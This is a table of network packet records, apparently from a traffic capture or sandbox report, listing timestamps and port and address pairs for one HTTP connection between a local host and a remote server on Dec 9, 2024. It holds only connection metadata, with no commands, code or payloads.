Dec 9, 2024 23:09:49.244668961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.245249987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.245296001 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.245322943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.245335102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.245373964 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.245491028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.246095896 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.246149063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.246160030 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.246191978 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.246303082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.246896029 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.247028112 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.247037888 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.247062922 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.247091055 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.247143030 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.247709990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.247750998 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.247786045 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.247796059 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.247833967 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.247950077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.248560905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.248615026 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.248629093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.248651028 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.248676062 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.248820066 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.249371052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.249463081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.249473095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.249499083 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.249526024 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.249790907 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.250200987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.250236034 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.250276089 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.250286102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.250319958 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.250449896 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.251003981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.251069069 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.251131058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.251141071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.251174927 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.251297951 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.251976013 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.252015114 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.252029896 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.252041101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.252079010 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.252196074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.252743959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.252788067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.252790928 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.252799034 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.252842903 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.252908945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.253532887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.253571987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.253586054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.253597021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.253632069 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.253771067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.254353046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.254389048 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.254441977 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.254453897 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.254492044 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.254652023 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.255166054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.255254984 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.255264997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.255287886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.255317926 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.255430937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.255990982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.256057024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.256067038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.256072044 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.256119013 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.256289959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.256869078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.256957054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.256967068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.256983042 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.257014990 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.257117033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.257647991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.257711887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.257721901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.257760048 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.257889986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.258497953 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.258560896 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.258572102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.258603096 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.258613110 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.258734941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.259330988 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.259421110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.259430885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.259463072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.259555101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.260180950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.260299921 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.260309935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.260349989 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.260452986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.260956049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.260997057 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.261054039 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.261065006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.261109114 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.261188984 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.261816978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.261898041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.261910915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.261946917 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.262099981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.262622118 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.262665987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.262696981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.262707949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.262738943 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.262864113 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.263478041 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.263519049 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.263561010 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.263571978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.263602018 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.263691902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.264305115 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.264380932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.264390945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.264420033 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.264436960 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.264611959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.265099049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.265141010 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.265156031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.265166998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.265211105 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.265346050 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.265897989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.265942097 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.265979052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.265990019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.266021967 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.266151905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.266737938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.266834974 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.266844988 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.266874075 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.266978025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.267596006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.267656088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.267668009 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.267692089 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.267718077 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.746149063 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.746773958 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.779565096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.780006886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.865443945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.865529060 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.865540028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.865571022 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.866044998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.866190910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.866202116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.866213083 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.866252899 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.866298914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.866663933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.866708040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.866718054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.866736889 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.866765976 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.866848946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.867485046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.867536068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.867547035 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.867574930 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.867599964 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.867705107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.868298054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.868340015 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.868376970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.868407011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.868444920 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.868506908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.869168043 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.869211912 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.869214058 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.869225025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.869261026 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.869441986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.869939089 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.870007038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.870018005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.870024920 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.870054960 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.870187998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.870817900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.870852947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.870863914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.870872021 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.870899916 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.871037960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.871627092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.871706963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.871716976 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.871730089 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.871745110 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.871850967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.872381926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.872416019 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.872445107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.872454882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.872493029 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.872880936 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.872965097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.872975111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.873013020 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.873090982 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.873740911 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.873752117 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.873766899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.873785019 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.873964071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.874541044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.874584913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.874610901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.874622107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.874659061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.874829054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.874931097 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.875344038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.875446081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.875457048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.875487089 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.875667095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.875725031 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.876213074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.876316071 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.876327038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.876358032 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.876426935 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.876498938 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.877038956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.877095938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.877108097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.877126932 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.877259970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.877845049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.877885103 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.877912045 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.877923965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.877959013 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.878092051 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.878130913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.878649950 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.878737926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.878747940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.878771067 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.878927946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.879013062 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.879481077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.879570961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.879582882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.879617929 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.879730940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.880337954 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.880376101 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.880382061 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.880392075 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.880409002 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.880553961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.881153107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.881189108 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.881220102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.881230116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.881268024 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.881392956 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.881432056 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.881958008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.882051945 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.882061958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.882098913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.882211924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.882853031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.882886887 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.882905006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.882917881 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.882935047 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.883083105 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.883277893 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.883656025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.883744955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.883760929 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.883786917 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.883877993 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.884048939 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.884476900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.884547949 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.884557962 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.884594917 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.884740114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.884783983 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.885315895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.885418892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.885430098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.885461092 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.885545015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887010098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887015104 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.887284994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887300968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887319088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887330055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887330055 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.887341022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887351036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887362003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887362957 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.887367964 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.887408972 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.887754917 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887828112 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887837887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.887873888 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.888015032 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.888051033 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:49.888803959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.888887882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.888896942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:49.888926983 CET	49868	80	192.168.2.4	185.215.113.16
